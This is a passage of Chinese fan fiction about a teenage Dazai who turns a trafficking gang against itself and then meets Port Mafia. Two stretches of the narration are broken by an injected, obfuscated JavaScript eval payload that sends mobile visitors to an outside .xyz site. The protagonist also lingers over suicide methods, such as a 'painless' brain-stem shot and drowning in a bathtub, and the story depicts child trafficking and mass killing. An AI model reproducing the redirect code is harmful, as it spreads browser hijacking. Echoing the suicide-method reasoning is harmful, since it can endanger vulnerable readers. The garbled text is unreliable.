《宰,十四岁,但穿越》 1. 每个绷带都是与众不同的 幽暗的仓库里,一个看上去十来岁左右的少年正坐在一个椅子上,对他来说,这个椅子可能显得有些过大。 在这没打开电灯的环境下,他半个身子被笼罩在黑暗里。 少年正在嘀咕着什么,声音稚嫩且轻飘飘的,听上去总给人一种在抱怨着什么的感觉,他的手正在一个袋子里翻找着什么:“这个款式手感太糟糕了,嗯,这个质量不好,不行不行,那个试试,太薄了,这个又太厚了。这个不错,不过看不太清——那个。” 小田守业抬起头,从这个角度看过去,正好对上了少年那双眼。该怎么形容那双眼呢,漆黑的,空洞的,像是什么情感都不具备的。 少年看向小田守业,抱怨般道:“小田君,快去开下灯啦!” 小田守业忙应道是,疾步赶去打开了仓库的灯,于是少年像是所有在黑暗里待久了的人猛地接触到光明,被刺痛一样惊呼:“呜哇,好闪。” 而原本被暗色所隐藏的环境在仓库内显现出来:地上平躺着几具尸体,已经干涸的血液在地面上留下深褐色的印记。 此时的少年在灯光下显露身影,他有着一头黑色蓬发,鸢色的双眸,身上穿着一身崭新的衣服,却并不合身,与他瘦小的身躯比起来显得有些大了,那是小田守业在几个小时前跑去买的,手上拿的袋子里则是装满了绷带,也是小田守业废了很大功夫才买来的,各种品牌,款式不同的绷带。 即便他对少年为什么要特意命令他每个款式不同,品牌不同的的绷带都要买回来这件事很困惑,但是他也是没那个胆量去拒绝的。 ——毕竟这个少年就像是魔鬼一样啊。 小田守业所在的这个库房,在今天中午之前是属于他所在组织的首领私有的。 他所在的组织规模不算太大,在横滨这个地带,要想在里世界存活下去,基本上所有小规模的组织都有一个准则:要夹紧尾巴,从港口黑手党那个庞大组织所不屑的地带里捡些零碎。 可是那些零碎,总会让人不屈于满足的。 即便港口黑手党已成为建在横滨的地下王国,但是,王国总有涉及不到的地带,他们这个组织也正是因此而顶风作案,抱有侥幸心理从事一些违禁品走私业务。 遇到这个少年纯属意外。 组织首领把进行交易的地点选在偏僻的河边,在进行交易之时,或者详细些说,在首领即将把“货物”交给交易人时,从身后聚集的下属中传出一声惊呼。 首领下意识警惕地收回了将要递出货物的手,看向下属们的方向,却见下属们指着河的方向。 其中一个下属声音颤抖:“首领,河,河里有人。” 这个下属小田守业认识,是新加入组织的人,据说是因为身负重债而不得不投入里世界寻求一个安慰之所,而港口黑手党并不是收留所,不会收留他这种人。于是他选择了加入这个小组织,因为入行时间太短的缘故,几乎没有任何里世界人所有的气质。 首领看向河中,确实有一个身影。 似乎是溺水将沉的一个身影。 交易人的业务涉及面更广一些,包含一些人口拐卖,器官倒卖之类的,收购违禁品甚至是其中算不得大的方面。 他的眼神经过多年买卖交易已经被磨练得很好,所以他能够清晰看出来,那个河里的身影,是一个少年。 首领本想忽略那个突发因素继续交易,但眼见交易人的兴趣也在上面,他心思一转,对着下属挥挥手吩咐:“捞上来看看。” 那个身上缠着绷带的少年便是这么被捞上来的。 而此时,谁都没有想到,距离组织的瓦解只差两小时。 少年似乎已经在河里泡了一段时间,溺水的症状格外明显。不过在被捞上岸后身体却还像有自救意识一般,开始疯狂的,堪称歇斯底里的咳嗽,他在这个阶段始终闭着眼,有一瞬间看上去像在经历一种抗衡。 难道是与死亡的抗衡吗? 几乎在场所有人都冷酷地看着这一幕,小田守业也在其中,只是稍微有些感叹,他入行有一段时间,但对于人命的流逝始终有些恐惧,这个少年说不定是什么大家族的后代呢。 不过,即便没人给这个少年做任何抢救措施,这个少年还是生命力顽强地缓慢睁开眼。 那双眼该如何形容呢,死气沉沉,毫无生志,像无法容纳任何事物的空洞。在经历过之后那些事并侥幸存活的小田守业回忆起那个眼神,至今都有些寒颤。 那个眼神只存在瞬间便褪去,少年扫视了周遭所有人,随后沉默着,扮演着货物的角色,像是毫不在意自己的处境。 首领一定没有看到那个眼神,所以才会在那时选择询问交易人:“这个少年,你认为算哪种品类的货物。” 潜台词便是要干脆把少年顺手卖给对方了。 “B等,年龄有点大了,再小些或许是A等。” 原本按照这个发展应该是一个双方都满意的结局的,但是在将要握手成交之时,躺在地上的货物开口了,声音有些沙哑,应该是当时过度咳嗽导致的:“啊...骗人可是不好的事情啊,那位人贩子先生。” 少年抱怨般的,用沙哑的声音说下去,额发湿哒哒搭在脸上:“你忽略了一个步骤吧,朝被绑人员的家庭索要酬金这个步骤。唔,虽然这似乎并不是必须步骤,因为贩卖的''货物''背后的万一有什么了不得的关系就不好了。不过说起来的话,会选择用孩子来满足欲望的也往往都是身处高位的人,那些变态的癖好往往很糟糕啊,我曾经听说过一个人对一个孩子做了此世所不能容忍的罪恶,而在孩子奄奄一息之际,甚至摘除了那个孩子所有的器官,所以最后那个孩子死的时候甚至都没有一个完整的身体。” 说到最后,少年像是流露一种恐惧一样,声音都有些颤抖。周围人只是静寂地听着,首领看向少年,皱了皱眉:“你在说些什么烂七八糟没用的话。” 少年咳嗽两声,那种颤抖转瞬就消失了,继续抱怨般说道:“交易的前提是诚信吧,如果连一个普通的路过的货物,特指我啦,都能压价,那么你们本来所要交易的,难道能没有任何问题存在吗?” 交易人原本是没有插口打算的,直到话题逐渐转换到这个层面,他暗道不好,刚要插嘴,却快不过少年的声音。少年抬起头,声音欢快地问首领:“你们的货物原定多少,1:300吗?” 首领下意识回答了这个问题:“1:160。” “哇啊,据我所知这压了不少吧。接下来就是那个步骤了吧,低价买入,高价卖出,通过极力压低收购价,再抬高倒卖价,这种行为对第一个卖家很不利吧。” 少年在最后一句话时看向交易人,交易人诧异地要喊出什么,却根本没有插嘴的机会下,刚准备辩驳,声音却卡在了首领举起的手枪下。 ** 首领命令他们将少年与交易人都绑起来运到最近的一间库房内。 把交易人绑了这种行为并不是要撕票,相反是为了威胁,然后获得更多的利益。首领安排几个人看守好少年后,把交易人带了出来,在交易人心不甘情不愿的辩解,但碍于性命安危不得不让利后,再次带着交易人回到了库房。 小田守业是被首领命令守在外面的人,首领对于他的懦弱向来看不上。也正因此,他没有目睹命案是如何发生的,也成为了这个小型组织内唯一一个侥幸活下来的人。 在混乱的枪声,与人类所发出的惨叫响起的第一时间,他几乎是惊悚地抬头看向库房的方向。有什么事情发生了,这是毋庸置疑的。 他想要迈动腿,去查看情况,可是腿始终发抖,没有听从大脑命令的打算。没错,他没理由为这个组织赴死,生命是非常宝贵的。 等那些恐怖的声响渐渐停息后,他侧耳听了听,确定再无声音时才鼓起勇气,摸着枪颤抖着腿进入库房。 而那时,库房已经被鲜血与尸体铺满。 在这种环境下,他第一瞬间没有找到任何幸存者。他难以压抑颤抖地逐一看过了躺在地上的尸体们,从其中找到了死不瞑目的首领。 他推断不出惨案是如何发生的,也无法明白为什么留下来的人会袭击首领。这里只有他一个人了吗? 有些恍惚地颤抖着,他几乎跌倒在地。 随后,他便看到了被绑在椅子上,无趣地看着他的少年,一个幸运的,直面现场却活下来的人。 意识总是在有些时候精明,这个现场中唯一活下来的人,难道真的是依靠幸运吗。 这个想法让他毛骨悚然,他瞳孔放大,下意识举起了枪对准少年。 少年只是看着他,犹如突然起了兴趣一样,注视着颤抖的他。 少年问:“要开枪吗?” “开枪的话,我建议你从背后瞄准我的脑干,听说射入脑干是公认的无痛死亡方法,这也是很多人都选择吞枪自尽的原因了。我姑且也是不喜欢疼痛的类型,唔,不过听说操作难度很大,之前本来一个人的时候想试试吞枪试试看的,不过突然想到这样的死法有些狼狈,只能遗憾放弃了。” 没有张嘴的能力了,手都在颤抖,少年似乎无视了这些,又好像已经注视到了一样,声音轻飘飘的。 “真想见到死亡啊。可惜你做不到开枪这件事,毕竟——你是一个胆小鬼啊,你加入这个组织,不想杀人,那是为什么在这个组织内呢,为了钱财?真无趣,偶尔也会有这种人存在呢...如果做不到杀死我的话就来给我松绑吧,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505845|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个绳子勒得好紧哦,虽然我自己也能做到松绑这件事,但是还是有些麻烦啦。” 小田守业颤抖的手按在扳机上,在少年激将法般的话语中几乎彻底按下,可最终,他也只是颤抖着,收起枪,然后听从命令给少年松绑。 少年只是神色恹恹地看着他的动作。 小田守业解绑的手有些颤抖,这种亲手释放魔鬼的行径让他深深地恐惧,他想需要说些什么来克服恐惧,而开口却是一句蠢话:“是您杀了他们吗?” 少年在被松绑后揉搓了一下被勒得青紫的手腕,似乎有些诧异地睁大眼:“当然不是,我可是一直被绑在椅子上哦!” “您...您是怎么做到的?” 小田守业硬着头皮换了句说辞。 “唔,一点挑拨离间加上言语上的诱导。”少年心不在焉地甩甩手,接着道:“不过你们组织内有了卧底这件事,居然没有任何人察觉,我也很诧异呢。” 似乎对小田守业的茫然感到有趣,少年指了指不远处的尸体中的一具:“那个啦——很明显的卧底哦,不过应该不是官方的,应该是私人的吧,他可是与那位人贩子先生有着很深的隔阂呢。” 小田守业看向那具尸体,辨认了一阵,认出那是那个新加入组织的下属。没来由的,他想起来少年在河边时说出的那些云里雾里的话,后背突兀发寒。 “背景故事应该是赌博过度负下巨额债务后把家里孩子当作货物卖出,良心发现想要赎回,见到的却是孩子残缺的尸体这种情节吧。” “不过你们这个组织的人也真是的呢,又松散,又没什么纪律,完全是一个不入流的组织啊。不过我记得这片地带应该是港口黑手党所不涉及的地带吧,好像属于另一个组织,什么「羊」来着?在那群未成年的地带居然有人搞买卖未成年的行径,这听着超那个哎——” 似乎是货真价实的困惑,少年说着说着甚至歪了歪头,满脸写着对无知者的惊奇。 小田守业的话几乎都被少年的数落堵死在喉咙里,总算有一个时机能脱口,他犹豫了下,还是开口:“港口黑手党那么庞大的组织,一般不会...不屑对我们这种小组织动手...至于「羊」,我们之前在这一带根本没听说过。” 听完这句话,少年突兀沉寂下来,脸上的神情像是若有所思般。他站起来,在仓库内转了转,似乎是看了看周遭货物上的单子,可是货物单子除了记载货物名称,内容以及出货日期外什么都没有了吧。 “居然还有这种事,该说有趣还是无趣呢,说不定会有点意思呢...那就当我没讲过那些话吧。” 少年脸上浮现出一种饶有兴趣般的神色,冲淡了那双眼中的黑暗给人的恐惧感。但是即便如此,还是让小田守业萌生一种畏惧感,如此想着,很想要就此逃走,离开的话,对方应该不会找到自己—— “不行哦。” 少年似乎看出了什么一样,轻飘飘看了他一眼,眼神中的冰冷轻易镇压了小田守业的逃跑行为。随后少年便移开视线,撒娇般抱怨道:“我的衣服和绷带都湿哒哒黏在身上,超级不舒服哦!还有手腕,刚刚发现被磨得已经破皮了呢。所以下属君,我要一身新衣服,但是绷带的话,唔,但我很挑剔这个的啦,你去给我把横滨卖医务用品店里全部款式全部品牌的绷带都买一种给我嘛——” 啊?为什么要全部款式,绷带不是随处可见吗,为什么要全部品牌,绷带不是都长一个样子吗?为什么非要医务用品店,绷带不是连便利店都有吗。 少年眨眨眼,道:“因为我很早之前就觉得了,每个绷带都是与众不同的。” 不不不,这完全是对自己刚刚想要逃跑的惩罚吧,完全是魔鬼的行径吧。干脆离开后再也不回来...不过对方是怎么知道自己的想法的呢? 少年似乎轻易就看出了小田守业的困惑,声音轻快:“因为你的表情把你的想法都透露得干干净净了。所以——” “不要想着离开后就不再回来了哦,为了保证那种事不会发生,你的证件就放在我这吧,证件照照得好难看啊,小田君。” ....小田守业愕然上下摸索自己的口袋,发现自己的全部证件都不知何时被少年拿走了,少年朝他晃了晃左手中的证件,露出一种带着些微得意的神情,右手中则拿着一把熟悉的枪,而几分钟前那把枪正在自己的身上。 是威胁,是赤裸裸的威胁。 小田守业呼吸几乎一滞,脑内挣扎片刻,还是找不到能逃走的办法,或许只能照对方说的做了,为转移话题般开口:“那个,请问该如何称呼您...” 少年看向他,原本还带着些兴趣的脸色突兀降了温般,趋近于一种漠然:“...津岛,先叫我津岛修治。” 2. 无法拒绝的赌注 金发长辫子的青年僵硬着脸推开门,手中提着一袋子绷带,像是走神一样精神飘忽,他尽量踩着长度相同的步伐,卡顿着走到工位上坐下。 在掏出表发现刚好过去十分钟,一秒不多,一秒不少后。他才摊开桌面上累积的文件,从第一张开始书写。 抱着一摞文件摇摇晃晃的白发青年走过,迟疑一下又后退回来,有些拘谨的关心道:“那个,国木田先生,你还好吗?” “嗯,敦啊,我还好。太宰那家伙呢?” 被称为国木田先生的金发男人抬起头,扶了下微微下滑的眼镜,调整好自己的心态后脸色平和下来,虽然在念到太宰这个名字时语气还是有些咬牙切齿。 太宰,太宰治,武装侦探社的成员,一个有着惊人智慧但却不务正业的男人—— “在这里!哦哟,国木田君,这就是给我的绷带吧,真是友善到我要哭了啊。” 似乎是因为听到自己的名字被提起,一个青年从茶水间走出来,一头蓬松的黑发与鸢色的眼睛,身着沙色的风衣。脚步格外轻快得靠近国木田的办公位,毫不客气地打开袋子捏了捏每一个绷带,像在进行与绷带打招呼的仪式。 国木田独步额角轻跳,为青年不着调的语气而羞怒:“你这家伙,要不是打赌输给了你我才不会给你买这种只是会纵容你浪费的器材!快去把上次的任务总结写出来啊。” 原本就意识到了的。 原本就该意识到的。 这家伙死缠着非要跟他打赌,肯定没有安任何好心。 国木田独步深吸一口气,回忆起十几分钟前太宰治恳求一样睁着双眼要和他打赌的情形,在他一口回绝后,太宰治,太宰治他—— 给出了一个对国木田来说无法拒绝的赌注,青年轻快的声音仿佛还回荡在耳边:如果国木田君赢了,我以后就不再尝试任何自杀行为,同时贯彻国木田君的工作法则,做到跟国木田君一样遵守时间。 早该意识到的,哪有那么好的事呢。一时被打动入局的下场便是今天的计划都被打乱,花了十分钟跑去给这家伙买绷带。 “嗯?国木田君,你是不是没有认真挑选——” “嗯?” 国木田独步捏紧钢笔,气势汹汹地看向太宰治,中岛敦早在察觉情形不妙后匆匆抱着一摞文件离开。太宰治眨眨眼,一脸无辜的派头:“可是国木田君,这些绷带居然有两种款式啊。” “啊,是这样啊。” 突然回想起来什么,国木田汹汹的气势退却下去,显然,没有买到对方常买的绷带还是有让他纠结,可如果再跑去别的店购买绷带的话,所花的时间就要远超十分钟了,那会再次给国木田原本规定好的计划带来一次沉重打击。 国木田带着那种挣扎如此叙述道:“店员小姐说你原本常买的那一款余量只剩一卷了,还未来得及进货。” 没错,时不时翘班买绷带的太宰治已经被店员熟识,对于一个在初次见面就邀请人一同殉情的人很难不印象深刻。相应的,偶尔会在门口等待他的国木田独步也落了个眼熟。其实武装侦探社内部是有医务室的,至于太宰治为什么不去那里索要绷带,那就是一些,稍微不能说的秘密了。 太宰治对国木田独步流露的挣扎有所察觉,毕竟这种结局就是他引导而成的,他以一种刻意黏糊的恶心腔调道:“我倒是不怎么挑这个啦,毕竟是国木田君亲自给我买来的,我会都好好珍惜的啦。那款绷带据我所知,除我以外很少有人买啦,藏得也很隐蔽——真是的,本来还以为至少会剩两三卷呢。” 为什么要每一句话尾都带那种听着很具少女心的JK语气词?国木田独步额角抽搐。不,还有所以你已经预料到那款绷带快卖空了,故意让我去那里纠结的吗?换做别人可能不会让国木田想太多,可这个人是太宰治啊。 不过,“说起来,那位店员小姐提到过一句,有一个行色匆匆的男人居然有跟你同样的爱好,已经拎着半袋绷带了,却还是走进来要求把所有款式的绷带都拿一卷,真是无法理解的爱好。” 缠绷带难道已经成为一种潮流了吗?偶尔也会有种跟不上流行的感觉啊,说到最后,国木田的话里难免掺了些感慨,不过这种潮流还是算了吧,他可没有在理想里计划要勇跟前线时尚的打算……暂时没有。 “这就是潮流了呢,要跟上时尚的步伐才对啊国木田君。” 太宰治似乎从国木田的脸上看出了对方未言明的话语,脸上带着怂恿般的笑容,眼神却带着些捉摸不透的思考。他用手指捏出那卷款式唯一的绷带,从被封好的开头扯开,拿着那卷绷带在胳膊上比划。 ** 灯光的照射是惨白的,铺在地面像给尸体的存在渲染一种恐怖色彩。津岛修治略带困倦地打了个哈欠,漫不经心扯着精心挑选出的那卷绷带,边比划着边慢慢在手腕上缠了一圈又一圈。他身上是一身崭新的衣服没错,但换的时间太晚,泡过水的旧衣服曾经湿哒哒黏在他的身上,直至被体温熨得半干。 后遗症状便是如此诞生的,经由落过的水,秋天的风而带来一阵滚烫,他原本就不算上健康的身体逐渐开始升温,像头颅里的大脑在蒸一场桑拿,他心不在焉地想。 偶尔也会想要尝试发热自杀法,但这种落后的自杀方式在大多数情况都只会让大脑的运转变得格外缓慢,对大脑的损伤又不会直接让他死掉。 啊啊,好麻烦嘛。 如果不被横插一脚捞出来的话,说不定现在已经得偿所愿,心怀感恩地见到三途川的河水了呢,明明距离死亡只有一线之遥,意识都已经昏昏沉沉,即将失去理智了。可偏偏就是有那种突发的阻拦因素,真糟糕嘛。 发热的症状给他带来了一些说好不算好,说平静又称不上平静的负面症状,即便刚刚还对这个崭新的世界燃起些兴趣,又在瞬间趋近于零,他堪称冷漠地审视自己的内心,发现一片空洞中什么都没能存活,只有些深邃的抱怨,诉说着对死亡的期待。 以及,不被死亡眷顾的怨恨。 打住,这是一种发热带来的虚无状态吧,渴求死亡可不能对死亡有任何怨词,瞎说的,嘁。他神色恹恹地扫过地面上的几具尸体,渗出的血液在氧气的反应下已经逐渐变得更深。他把绷带在手腕上打了个不算太规整的结,随后冷漠地看向小田守业,这里除他以外,唯一活下来的,胆小且懦弱的人。 小田守业看向他的眼中带着恐惧。 啊,这也不奇怪,毕竟对方心里称呼他说不定都用上魔鬼那种词了,真失礼啊,居然过度魔化他。 小田守业被一双空洞的双眼审视着,牙齿几乎发颤,后背逐渐渗出汗水。觉察到他的恐惧,津岛修治扫兴般挪开视线,继续注视着地面上的尸体,良久,以一种模棱两可的态度开口:“说起来,你足够幸运啊。这个组织里现在说不定只有你一个人存活下来了吧,恭喜你啊,从可怜的打工人晋升为一方组织的小首领,接下来没准有更多的机会等待着你呢。与你对比的话,什么都没获得的我还真是不幸运呢。” 津岛修治以一种平静的语气如此叙述,话语虽然有刻意拉长音调,可由于语气的无情感,听起来没有任何鼓舞感,反倒像掺杂一种讽刺。 不过这椅子坐得有些不舒服啊。他直起身子,向后挪挪,依靠在椅背上,唔,舒服一点点。对于这把椅子来说,他的身形太过瘦小,这使得他整个人几乎笼罩在椅背所投射下来的阴影中,无端增加一种阴郁的氛围感。 小田守业不能理解对方的鼓舞与否,只是那讽刺实在过于清晰,分不清是意指前半段还是后半段,他喉头耸动,由于紧张所分泌的唾液几乎堵在喉咙里,他小心翼翼瞄着对方的脸询问:“存活下来不是一件好事吗?” 真是熟悉的论断啊,津岛修治平静地想。基本上所有见到津岛修治的人,在得知他对于死亡的追求后都会说出这句话,这些匮乏的,所谓正常的话语,他始终无法理解,就像对方无法理解他一样。 如同天生存在的某种隔阂,津岛修治始终与所谓的正常相处两边,或许谁也没办法走近谁的吧。 津岛修治平静道:“才不是呢。” “谋划已久的自杀阴差阳错被打断这件事我很不爽的。” 话语的最后,他的声音明显低了下来,语气似乎一种实质的冰,冻结了小田守业的语言能力。偏偏这种恐怖的话,没有任何开玩笑的态度在,像是如实叙述自己的感受一样,不如说就是在叙述。 小田守业一时无法开口,他被冻结的喉咙无法支撑他的发言,他想要逃离这里,可脚也不听使唤,他的证件,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505846|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的枪,全部能让他有些勇气作出逃离的事物全都被对方掌控。 津岛修治不需要看向对方便能知道对方的念头了,唉,真讨厌嘛!他稍微收敛了些那深邃的冰冷,压抑在内心深处,无趣地摆出些少年该有的态度,从发热的大脑里挑出一个比较重要的词汇来:“你对港口黑手党的了解有多少?” 小田守业从被冻结的状态中惊醒,在大脑理解了对方的话语后,几乎是有些惊悚的边回忆边开口:“港口黑手党对我们这种小组织与其说是一个庞大的组织,倒不如说像是一个帝国。不过我对于港口黑手党的了解不算太多,他们最近惹上了什么别的麻烦,应该无暇顾及我们的。这是...我的首领说的,所以这次首领选择在这里交易一些港口黑手党禁止的货物。” “港口黑手党组织构成的话,似乎是以一位首领为核心,那位首领的情报我们目前没有掌握。下设五个干部位,似乎还有那种类似军警的武装部队?名字好像是黑蜥蜴……啊,五位干部的消息很少。目前的话,一位干部似乎是女性,手段也格外恐怖。除了这位之外,我的首领曾经说过有一位干部是靠金钱上位的,以及还有一位很有威慑力的干部,港口黑手党的重力使……” 重力使…津岛修治一边听着小田守业的叙述,一边无趣地扒拉了几下缠好的结。 在还未来到这个世界的几天前,他曾经被「羊」的成员堵住,本以为是什么打劫之类,结果却是邀请,当时那几个小鬼信心满满地说着什么:啊,我们老大可是有操纵重力的能力,能碾碎所有人这之类的话来邀请他加入。 而很明显,津岛修治对加入一个未成年组织毫无兴趣,他跟这世界上大多数人都聊不来,哪怕年龄相同的小鬼也没什么好聊的。 那几个小鬼明显就是把那个老大当做组织卖点,或许只是当做一件兵器也说不准。在那几个小鬼的话语中,他构想出整个「羊」给他的感觉:依靠庇护便以为成了狼的羊。真是愚昧,这个组织很愚昧,「羊」的首领显然也聪明不到哪去。津岛修治当时连任何伪装都懒得扮上,给予的回答只是冰冷的五个字:没什么兴趣。 那么,这个港口黑手党的重力使会与八年前「羊」的老大有什么关系吗?毕竟这个世界「羊」已经不存在了吧。 暂时存疑。 小田守业苦思冥想讲出所有自己能回忆的情报后便停下,一边注视着津岛修治的脸色一边小心翼翼:“您…要与港口黑手党为敌吗?” 所以才说无法理解嘛,都已经加入违反港口黑手党规定的组织了,还这么怕港口黑手党说出来很丢脸啊。不过偶尔也是会有这种情况的了,但是那么渴望生的话,就不要在开始便抱有侥幸心理做蠢事嘛。 都怪下意识要分析这种人,感觉自己都变迟钝了。 津岛修治不被察觉的停顿了一下,撇了撇嘴,突然苦大仇深般看了小田守业一眼,这时收敛了那种冰冷的他,看起来便真的像一个普通少年般了,这也体现在小田守业居然没有被那一眼吓得跌倒在地。 津岛修治拉了拉缠绕在手腕上的绷带,似乎随意般问道:“没有被称为‘港口黑手党的大脑’的角色吗?” 小田守业仔细回想,从脑内搜寻了几番,却都没能找到相关内容,他迟疑道:“或许您在指港口黑手党的首领吗…?” 要说大脑的话对应的也只能是首领那个角色了吧。 津岛修治拉扯绷带的动作停顿,些微地晃了晃腿,眼神晦暗不清一瞬,只是眨眼便过去,对坎坷等待他回复的小田守业点了点头。 港口黑手党的首领他倒是有一些听闻,全部来自于之前那个世界,先代首领因意外逝世后登位的男人,听说之前是医生之类角色。上位之后,连他都深觉此人手段雷厉风行,理性与逻辑并存。效果也是显而易见,那些先代所留存的腐朽制度被逐一废除,更适合里世界的一套规矩正在逐步制定。倘若要说此人是大脑,那确实很合理。 也正因如此,津岛修治断定:这个世界与他所在的世界并不是同一走向。 他所说的‘大脑’指的并不是港口黑手党的首领,而是江户川乱步。 那位在传闻中一眼就能看透所有隐瞒的无异能者,被誉为里世界的完美犯罪专家,仅仅八年,如果是那个人的话,绝对不会埋没在时间里。 3. 青天白日见鬼了 在津岛修治所属的时间线,隶属于横滨阴暗面的里世界流传过这样一则故事:有人花重金向港口黑手党的首领求得了一个见到江户川乱步的机会,在那里,他向对方询问了三个问题。 “昨天我杀了人吗?” “今天我会杀人吗?” “明天我会死亡吗?” 在获得了三个问题的回答后,那个人精神崩溃了,又哭又笑着回到家,在晚上到来之时,用枪杀死了妻子儿女,写下遗书将所获得的不义之财的三分之一捐赠给公益机构,剩余则全部馈赠给港口黑手党。随后恰好在第二天的凌晨走进浴室,溺死了自己。 听起来格外荒谬的事件,津岛修治在初听时只在诧异——为什么唯独要选择在浴室溺死呢? 杀死妻子与儿女所用的是枪,却给自己选择了溺死这种方法,甚至场所还是家中的浴室,能溺死的无非是浴缸,或者洗漱池。而要在洗漱池中溺死是一件近乎不可能的事情,在接近窒息丧失意识的情况下人的双腿是无法站立的,东倒西歪的状况如果发生,除非以一种精巧的角度确保在昏迷后使自己的脸仍然会浸泡在池子里,不然是没有办法死掉的啊,很糟糕的自杀手法吧。 浴缸与洗漱池相比则显得有些轻易,只要缸足够深,便能营造出一种犹如身处静止的大海或河流的感觉,虽然津岛修治更喜欢户外货真价实的氛围感,但也不得不承认,在浴缸中想要溺死似乎很轻易,只要能抑制那名为生存的本能,死亡似乎触手可碰。 在有枪的情况下为什么要选择这两种不痛快的死亡方法之一呢?可以造成死亡的方式有很多种,只要被眷顾的话选择另一种方式也能很快达成目的,为什么要在枪里还剩余子弹的情况下,独独选择溺死? 被里世界的人列为横滨未解之谜的是那三个江户川乱步所回答的问题,而津岛修治所在意的只是那个人为什么要选择溺死,江户川乱步的回答在对方追逐死亡的过程中又是否起到了什么作用呢? 里世界向来不吝啬于将畏惧添诸在那种聪明到极致的人头上,如果说在三个问题事件之前,江户川乱步的名声只在部分人耳中流传的话,那么在这个事件之后,仅用三个回答便为港口黑手党拿下了对方馈赠的江户川乱步便可以称得上闻名遐迩,连港口黑手党的首领都要稍逊三分。在这种情况下,似乎要考虑所谓的“功高震主”来支撑同一世界论了。 不过啊,所谓的港口黑手党,本质上应该是追求利益的暴力组织吧,而如果一个人的存在本身即是最大利益的话,又为什么要抛舍对方呢,不怕反噬吗?而且八年时间,如果是那个人的话,所掌握的隐秘绝对多到能颠覆整个里世界了,把对方抛弃或者杀掉,都不如把利益掌握在手中来得方便,人们会害怕的无非是自己内心潜藏的秘密被揭露,有秘密在,便会有畏惧在,有畏惧在,这本身就是一种把柄。 所以这肯定是具有不同分支的平行世界了吧,唔,真期待调查到这个世界的自己死法的那刻啊,到时候说不定可以好好借鉴一下。 异能的可能性从来到这个世界的一开始便被津岛修治排除了,毕竟他的人间失格,可是一种能无效化其他异能力的异能力。 不过由于异能的特殊被动性,他目前并没有证据证明自己的异能还存在,当然,也没有证据证明自己的异能不存在,不过不太重要嘛,横滨的异能者大概是那种,虽然走在街头不一定会碰到,但不走在街头不一定碰不到的存在。 津岛修治眨了眨眼,从漫无目的的思考中回过神,手腕上的绷带由于手指思考中无意识的扯动,已经由一个绑的不太完美的结变成了一个被拉的松散了且不太完美的结。 ……他对着松散的结微妙的察觉自己方才忽略了一个要点,那个要点与自己方才所思考的上个世界无关,而在于小田守业所叙述的情报内容的开端,隐藏在对方无意识吐露的话语中。 港口黑手党,无暇顾及的时间段,明令禁止的货物…这些信息叠加在一起不是相当明显的钓鱼执法吗?洒下鱼饵,引诱本就有异心的愚蠢组织,在其沉溺于幻梦,将带饵的钩吞入腹中之时把杆举起。 好麻烦嘛,还是因为一开始的情报不够嘛,所以麻烦的事就来了,好讨厌麻烦事,讨厌,超想要轻松点死掉啊! 港口黑手党的人或许要来了吧,不,说不定是已经来了,外面肯定被包围了吧。花一上午来围捕一个小组织也太没效率了吧,最好的一网打尽方式明明是该在交易时进行,拖了这么久,他之前甚至都差遣小田君跑出去买东西了——嗯? 那么为什么没有在交易时进行呢?因为交易的场所从河边转移到了库房,两种可能性:一种是恰好在场,另一种是由于什么缘故到来时场所已经换到库房,那么按直觉啊推理啊之类的,排除第一个。为什么没有在所有人都在库房时一网打尽呢?因为库房内部传来乱斗声。为什么没有在小田君去跑腿时进攻呢?这个可能性比较多了啊。唔,难道说是把内乱误以为成黑吃黑,所以在等支援? 那么又为什么没有攻击小田君呢?因为他很幸运?想要活下来的人运气不会太差? 听起来好恶心。 发热的大脑没能随着运转而降温,升腾的体温让津岛修治整个人精神萎靡起来,他对于自己的生或死是并不看重没错,但不舒服的症状总是熬人的,唔,一点耐受力的问题? 被乱枪打死其实也算是一种好死法,最好子弹够准一击毙命,尽量减少疼痛感。之后的子弹都是赠礼也无妨了,不过那样尸体会不太美观吧。这么一说,啊,真讨厌嘛,就不能给我一个完美的死亡嘛。 他心不在焉地从椅子上跃下,脚步并不算稳重地走到小田守业面前,碍于身高的缘故,他微微仰起头,脸上却是令人捉摸不透的神色,在那一刻,小田守业几乎误认为一个魔鬼在索要他的灵魂,他哑然,惶恐地注视对方。 脸上突然扬起蛊惑般笑意的魔鬼,那双眼却死寂黑暗,魔鬼开口,声音轻快:“小田君——你是想要痛苦的存活还是恬静的死亡。” ** 中原中也扭了扭手腕,赭红色的发丝在风的作用下飞扬,气势迫人地站在目标地点前,周遭列队的港口黑手党成员肃然地行了一个礼,从其中走出一个较高级别的下属,朝中原中也鞠了一躬,幅度不算轻微,姿势恭敬:“中原干部。” 中原中也摆了摆手,示意不用太过在乎礼节,眼神锐利地注视面前的建筑物:“ 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说罢,在确定下属们撤离的距离足够远后,他的身上泛出暗红色的光芒,库房那沉重的卷帘门在他的异能力操纵下被整个掀开,他眯了眯眼,将其扔到身后,落地时发出一声巨响,脸上浮现起肆意的笑容,迈步跨入其中。 库房内部没有开灯,窗户也好像做过什么处理的样子。唯一的光源似乎只来自自己的身后,藉由被整个掀翻的卷帘门而侵入黑暗之中,于是照亮了横在地面上的几具尸体,成年人之中似乎夹杂一个少年的,总觉得有些眼熟,但目前来说不是重点。 